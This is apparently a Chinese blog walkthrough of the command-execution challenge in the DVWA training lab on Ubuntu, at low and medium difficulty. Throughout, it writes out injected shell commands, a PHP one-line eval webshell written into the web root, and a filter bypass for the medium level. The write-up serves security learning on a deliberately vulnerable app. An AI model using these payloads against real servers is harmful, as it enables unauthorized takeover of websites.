我自己在通关linux环境下的DVWA靶场命令执行漏洞的过程中遇到了很多问题,于是写了这篇文章分享一下自己的思路。

阅读前须知:

        靶场:搭建在ubuntu上的DVWA靶场;

        实验目的:通过命令执行漏洞上传后门木马,来获取网站的控制权。

        本篇文章只针对搭建在ubuntu上的DVWA靶场,windows上搭建的请查看其他教程。

目录

阅读前须知:

一、初级

1.判断是否存在漏洞

2.通过已知漏洞来获取更多信息

3.尝试写入一句话木马

二、中级

1.比较低级和中级的区别

三、总结


 

一、初级

1.判断是否存在漏洞

        首先,我们输入127.0.0.1发现网站返回了ping 127.0.0.1的信息,而且是调用系统接口的ping命令。

471175ab69154ef48857eff9a8ccaf58.png

        然后输入127.0.0.1&whoami发现ping命令和whoami命令都被执行,说明当前页面存在命令执行漏洞;

127.0.0.1&whoami

7e4c53cbd4c54ab781d2c45f83be9ff0.png

        并且根据返回的信息,得到一个重要信息——当前执行命令的用户是www-data,是一个低权用户,这对以后的注入有很大帮助。

2.通过已知漏洞来获取更多信息

        在linux系统中可以通过分号“;”,来在一行中执行多条命令。

        输入127.0.0.1&pwd;ls -al提交来显示当前所处的路径和当前路径的文件信息,代码及结果如下:

127.0.0.1&pwd;ls -al

0ccdba6e17244dbebb1acf48cc8c2416.png

        分析得知,当前路径是/var/www/html/vulnerabilities/exec,而且当前目录是root身份创建,非root组的用户只有读取和执行的权限,不能编辑及创建文件。

 

        输入127.0.0.1&cd ..;pwd;ls -al提交来显示上一级的路径和文件信息,代码及结果如下:

127.0.0.1&cd ..;pwd;ls -al

be804ec0ed0443d5981d5fc8e6063394.png        发现该目录依然不能写入文件,但是上一级目录(图中蓝色部分)权限为rwx rwx rwx,也就是对非root用户也能写入,那么就可以尝试以www-data用户的身份来在该位置写入一个一句话木马。

3.尝试写入一句话木马

        我们先分析一下:

# 首先,我们通过以下命令跳转到目标路径
cd ../..

# 一句话木马实例
<?php @eval($_POST[root]);?>


# 通过echo命令在该目录写入一个一句话木马
# 注意要将木马内容用引号引起来
# 并将$用\转义,也就是替换为\$
echo "<?php @eval(\$_POST[root]);?>" > ma.php

# 查看结果
pwd
ls -al


# 将以上命令用;拼接,得到
cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al

        我们输入127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al,代码及结果如下:

127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al

92d21c275e64414e83f7a6efc81d342c.png

        发现成功创建了一个木马文件ma.php,通过网站url和上图信息判断木马被写入到了网站根目录下,于是推测木马url为http://192.168.248.131:8082/ma.php

35a7259ebc394c2f975baa5bd8581e2a.png

        通过蚁剑连接,成功。

df809f5ba59d4d84b5a1360815f69fd4.png

09acd9173d4e4716a57c58d3ac806bc5.png

二、中级

1.比较低级和中级的区别

        通过对比低级和中级的源码

96fd4096010a491aa05deb3756cb528d.png

        发现中级只是简单地对字符“&&”和“;”进行了过滤,只需要想办法消去“127.0.0.1&cd ../..;echo "<?php @eval(\$_POST[root]);?>" > ma.php;pwd;ls -al”中的“;”即可,那么我们可以取消cd命令和获取信息的pwd和ls命令,只用一个echo语句完成目标,于是代码改成以下即可:

127.0.0.1&echo "<?php @eval(\$_POST[root]);?>" > ../../ma.php

        成功执行:

0fb7b79b674c4a79ad45d23bd055db76.png

        蚁剑连接,成功:

8c0a45863bc64073b2ede55e3d5988ff.png

三、总结

        其实,linux环境下的DVWA靶场命令执行漏洞并不难,但关键在于能否发现网站的漏洞,利用已有权限在允许的位置写入木马文件。

        很高兴这篇文章能够帮到你,如果以上文章有错误,欢迎指出,也欢迎大家分享自己在网络安全领域学习中的经验与方法。

 

更多推荐